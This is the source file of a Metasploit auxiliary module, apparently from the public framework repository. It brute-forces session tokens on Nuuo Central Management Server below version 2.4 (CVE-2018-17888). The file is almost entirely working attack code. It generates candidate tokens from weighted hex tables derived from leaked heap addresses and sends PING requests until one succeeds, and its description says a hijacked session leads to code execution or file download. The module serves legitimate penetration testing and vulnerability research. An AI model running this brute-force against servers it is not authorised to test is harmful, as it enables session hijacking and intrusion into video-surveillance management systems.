metasploit-framework/modules/auxiliary/gather/nuuo_cms_bruteforce.rb

159 lines
6.5 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'benchmark'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Nuuo
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Nuuo Central Management Server User Session Token Bruteforce',
'Description' => %q{
Nuuo Central Management Server below version 2.4 has a flaw where it sends the
heap address of the user object instead of a real session number when a user logs
in. This can be used to reduce the keyspace for the session number from 10 million
to 1.2 million, and with a bit of analysis it can be guessed in less than 500k tries.
This module does exactly that - it uses a computed occurrence table to try the most common
combinations up to 1.2 million to try to guess a valid user session.
This session number can then be used to achieve code execution or download files - see
the other Nuuo CMS auxiliary and exploit modules.
Note that for this to work a user has to be logged into the system.
},
'Author' =>
[
'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2018-17888' ],
[ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-18-284-02' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2019/Jan/51' ],
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/NUUO/nuuo-cms-ownage.txt' ]
],
'Platform' => ['win'],
'DisclosureDate' => '2018-10-11'))
deregister_options('SESSION', 'USERNAME', 'PASSWORD')
end
# These tables were generated by doing thousands of requests to a NUUO CMS Server and collecting the responses.
# Table id: hex-nu-mod
# 2621440 total combinations for both 1.X and 2.X versions
# 2.X versions only have 1048576 combinations, and this table will run through them first
WEIGHTED_ARRAY_7 =
['2', '1'],
['4', '6', '5', '7', '8', '2', '0', '1', 'f', 'e'],
['1', '6', '0', '8', 'd', '7', 'c', 'e', '2', 'b', 'f', '3', '5', '4', 'a', '9'],
['d', '6', '4', '5', 'f', '0', '8', '7', 'a', '3', '1', 'b', 'c', 'e', '9', '2'],
['3', 'e', 'f', '1', 'c', '5', '9', 'd', '8', '6', '0', '4', 'a', '2', 'b', '7'],
['d', '4', '2', 'b', '3', '6', '8', '1', 'a', '7', 'f', 'e', '0', '9', '5', 'c'],
['8', '0']
# 189000 total combinations
# Only tested (only applies?) to 2.X versions
# These are only tried if WEIGHTED_ARRAY_7 fails
WEIGHTED_ARRAY_6 =
['9', 'a'],
['7', 'c', '6', 'f', 'e', 'a', 'd', '9', '4', '5', '3', '2', 'b', '0', '8'],
['7', 'b', '6', 'd', 'a', '3', '4', 'f', '5', '1', '8', 'e', 'c', '2'],
['3', '1', 'c', 'f', 'd', '4', 'b', 'a', '6', '2', '5', 'e', '8', '9', '0'],
['3', '6', '7', 'b', 'e', '9', '2', 'f', '4', '1', 'c', 'a', '0', 'd', '8'],
['0', '8']
def session_number_list(weighted_array)
# Let's calculate all the possible combinations
length = Array.new(weighted_array.length)
for i in (0..weighted_array.length-1)
length[i] = weighted_array[i].length
end
counter = Array.new(weighted_array.length)
for i in (0..weighted_array.length-1)
counter[i] = 0
end
total = 1
for len in length
total *= len.to_i
end
print_status("Generating #{total} session tokens")
final_list = Array.new
# code below taken from https://gist.github.com/Yengas/9010715
(total).times {
if weighted_array.length == 6
final_list << weighted_array[0][counter[0]] + weighted_array[1][counter[1]] + weighted_array[2][counter[2]] + weighted_array[3][counter[3]] + weighted_array[4][counter[4]] + weighted_array[5][counter[5]]
elsif weighted_array.length == 7
final_list << weighted_array[0][counter[0]] + weighted_array[1][counter[1]] + weighted_array[2][counter[2]] + weighted_array[3][counter[3]] + weighted_array[4][counter[4]] + weighted_array[5][counter[5]] + weighted_array[6][counter[6]]
else
# assume size == 8
final_list << weighted_array[0][counter[0]] + weighted_array[1][counter[1]] + weighted_array[2][counter[2]] + weighted_array[3][counter[3]] + weighted_array[4][counter[4]] + weighted_array[5][counter[5]] + weighted_array[6][counter[6]] + weighted_array[7][counter[7]]
end
# Find value of current combination by concatenating corresponding values of counters in the inner-arrays
# Then we increment the value of the counter so we go on to the next combination.
for index in (counter.length - 1).downto(0) # From (counter array's length - 1) to 0
if counter[index] + 1 < length[index] then # If counter index can be incremented
counter[index] += 1; # Increment the counter index
break; # Stop the incrementation/go to the next combination printing/incrementing.
end
counter[index] = 0; # Assign current counter index to zero and try incrementing the next counter index.
end
}
full_list = Array.new
final_list.each { |x|
full_list << x.to_i(16)
}
return full_list
end
def session_bruteforce_list(weighted_array)
list = session_number_list(weighted_array)
for session in list
req = client.request_ping({
'method' => 'PING',
'user_session' => session
})
# module fails when shutdown/close lots of connections
# create own connection and dont call close
conn = client.connect(temp: true)
res = client.send_recv(req, conn)
@counter += 1
if res && res.status_code == 200
return session
end
end
return nil
end
def run
connect
@counter = 0
print_status('Bruteforcing session - this might take a while, go get some coffee!')
session = nil
time = Benchmark.realtime {
session = session_bruteforce_list(WEIGHTED_ARRAY_7)
unless session
print_error('Failed to bruteforce, trying with the less likely numbers as a last resort...')
session = session_bruteforce_list(WEIGHTED_ARRAY_6)
end
}
unless session
fail_with(Failure::Unknown, 'Failed to bruteforce user session.')
else
print_good("Found valid user session: #{session}")
print_status("Time taken: #{time} seconds; total tries #{@counter}")
end
end
end